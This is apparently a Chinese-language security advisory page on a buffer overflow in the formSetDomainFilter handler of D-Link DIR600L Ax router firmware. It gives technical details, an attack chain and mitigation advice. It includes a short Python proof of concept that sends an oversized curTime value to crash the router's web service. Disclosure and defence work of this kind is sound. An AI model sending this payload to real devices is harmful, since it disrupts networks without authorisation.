IPBUF安全漏洞报告
English
CVE-2025-60559 CVSS 7.5 高危

CVE-2025-60559 D-Link DIR600L Ax 缓冲区溢出漏洞

披露日期: 2025-10-24

漏洞信息

漏洞编号
CVE-2025-60559
漏洞类型
缓冲区溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
D-Link DIR600L Ax FW116WWb01

相关标签

缓冲区溢出D-Link路由器漏洞CVE-2025-60559网络设备安全Web漏洞formSetDomainFilter固件漏洞高危漏洞

漏洞概述

CVE-2025-60559是D-Link DIR600L Ax路由器固件FW116WWb01中的一个高危缓冲区溢出漏洞。该漏洞存在于formSetDomainFilter函数中,攻击者可以通过curTime参数注入超长字符串,触发栈缓冲区溢出。无需任何认证即可利用此漏洞,远程攻击者可直接通过HTTP请求向目标设备发送恶意构造的数据包。由于CVSS评分达到7.5且攻击复杂度低、无需认证,漏洞实际威胁程度较高。成功利用此漏洞可导致路由器服务中断(拒绝服务),甚至可能在特定条件下实现代码执行。此漏洞影响网络设备的核心功能,攻击者可通过构造恶意请求在未授权状态下完全控制受影响设备,对网络基础设施安全构成严重威胁。建议用户尽快采取防护措施,避免设备暴露在互联网环境下。

技术细节

该漏洞为经典的栈缓冲区溢出问题,位于D-Link DIR600L Ax路由器的Web管理界面处理函数中。具体来说,formSetDomainFilter函数在处理curTime参数时,未对输入数据进行充分的长度验证。当攻击者向该参数提交超长字符串时,超过了函数内部分配的缓冲区大小,导致相邻内存区域被覆盖。漏洞触发条件:攻击者构造HTTP POST请求访问formSetDomainFilter端点,在请求参数中包含超长的curTime值。路由器固件在解析参数后直接使用strcpy或类似不安全函数将数据复制到固定大小缓冲区中,引发栈溢出。由于漏洞存在于路由器启动的Web服务进程中,攻击成功将导致httpd服务崩溃或执行任意代码。攻击者可通过自动化工具批量扫描和利用此类设备,建议在网络边界处部署入侵检测系统监控异常HTTP流量。

攻击链分析

STEP 1
侦察阶段
攻击者扫描互联网或内网中暴露的D-Link DIR600L Ax路由器,识别Web管理界面可访问的设备
STEP 2
构造恶意请求
攻击者构造包含超长字符串的HTTP POST请求,针对formSetDomainFilter端点的curTime参数
STEP 3
触发漏洞
发送恶意请求后,超长字符串触发formSetDomainFilter函数中的缓冲区溢出,覆盖栈内存
STEP 4
利用结果
漏洞利用成功可导致httpd进程崩溃(DoS)或在特定条件下实现代码执行,完全控制路由器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-60559 PoC - D-Link DIR600L Ax Buffer Overflow # Target: formSetDomainFilter via curTime parameter target_ip = "192.168.0.1" # Router IP target_port = 80 # Construct malicious payload with oversized curTime parameter # Buffer overflow occurs when string length exceeds allocated buffer buffer_size = 1000 # Adjust based on target payload = "A" * buffer_size url = f"http://{target_ip}:{target_port}/formSetDomainFilter" data = { "curTime": payload, "change": "1", "enable": "1", "filter_mode": "0" } try: print(f"[*] Sending exploit to {url}") print(f"[*] Payload size: {len(payload)} bytes") response = requests.post(url, data=data, timeout=10) print(f"[*] Response status: {response.status_code}") print("[*] Exploit sent. Check if target is vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")

影响范围

D-Link DIR600L Ax FW116WWb01

防御指南

临时缓解措施
立即将路由器Web管理界面设置为仅允许本地访问,禁用WAN口远程管理功能。在网络边界部署访问控制策略,限制对路由器管理IP的访问源。监控设备运行状态,如发现服务异常及时重启并排查原因。等待厂商发布官方修复补丁后及时更新固件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表